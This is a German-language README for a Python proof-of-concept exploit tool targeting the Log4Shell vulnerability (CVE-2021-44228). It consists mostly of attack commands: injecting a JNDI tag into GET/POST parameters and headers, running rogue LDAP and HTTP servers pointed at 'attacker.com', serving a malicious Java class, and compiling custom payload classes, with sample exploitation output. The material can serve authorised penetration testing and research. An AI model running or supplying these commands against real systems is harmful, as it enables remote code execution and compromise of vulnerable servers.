
Ein All-in-One-PoC in reinem Python für CVE-2021-44228
Ein All-in-One reiner Python3 PoC für CVE-2021-44228.
> python3 log4rce.py --target "linux" --payload "PAYLOAD" http -X POST --url "http://localhost:8080/" --data "address=###"
INFO:HTTP:Running on local port 1337
INFO:HTTP:Remote target is http://127.0.0.1:1337/LinuxExploit.class
INFO:LDAP:Running on local port 1387
INFO:Log4J:Sending payload to http://localhost:8080/
INFO:LDAP:Query from ('127.0.0.1', 42554)
INFO:HTTP:Request from ('127.0.0.1', 55328) to /LinuxExploit.class
INFO:Log4J:Done!
Dies ist ein CLI-Tool. Alle Optionen finden Sie im Hilfemenü:
python3 log4rce.py --help
Die Liste ist recht umfangreich, daher finden Sie im Folgenden eine Zusammenfassung der Funktionalität.
Das Tool ermöglicht die Nutzung einiger Angriffsmodi. Diese Angriffe sind Erweiterungen der Log4RCE-Klasse.
Sie können einen automatisierten HTTP-Anfrage-Angriff auf eine Ziel-URL durchführen.
Sie können eine GET-Anfrage wie folgt durchführen:
python3 log4rce.py http --url "http://www.vuln.com:1234/?vuln_param=###¶m=123" --headers="P1=123&P2=123"
Sie können eine POST-Anfrage wie folgt durchführen:
python3 log4rce.py http -X POST --url "http://www.vuln.com:1234/" --data "vuln_param=###¶m=123" --headers="P1=123&P2=123"
Das vorherige injiziert das JNDI-Tag in ###.
Wenn Sie keine der vorherigen verwenden können, verwenden Sie diesen Modus, um das JNDI-Tag auszugeben:
python3 log4rce.py manual
Das Tool ermöglicht umfangreiche Anpassungen für die meisten Netzwerkkonfigurationen. Alle internen Server können so geändert werden, dass sie je nach den entfernten Einstellungen auf andere Standorte verweisen.
Sie können den HTTP-Server mit den folgenden Parametern konfigurieren:
python3 log4rce.py --http_port 1234 --http_rport 12345 --http_host "attacker.com"
http_port: The local port to run the server on.
http_rport: The port that a remote machine accesses.
http_host: The host name/IP a remote machine accesses.
Sie können den LDAP-Server mit den folgenden Parametern konfigurieren:
python3 log4rce.py --ldap_port 1234 --ldap_rport 12345 --ldap_host "attacker.com"
ldap_port: The local port to run the server on.
ldap_rport: The port that a remote machine accesses.
ldap_host: The host name/IP a remote machine accesses.
Das Tool ermöglicht einige Anpassungen. Im Folgenden sind einige Funktionen aufgeführt, die für Sie interessant sein könnten.
Sie können einen Payload in die Java-Klasse einfügen mit:
python3 log4rce.py --payload "PAYLOAD"
Der Payload wird in "###"-Zeichenfolgen injiziert.
Sie können Ihre eigene Java-Klasse wie folgt erstellen.
javac -source 1.7 -target 1.7 /path/to/Exploit.java
Die resultierende .class-Datei kann mit folgendem Befehl ausgeführt werden:
python3 log4rce.py --java_class "/path/to/Exploit.class" ...
Hinweis: Sie können eine Zeichenfolge "###" hinzufügen, um die Payload-Injektion zu ermöglichen.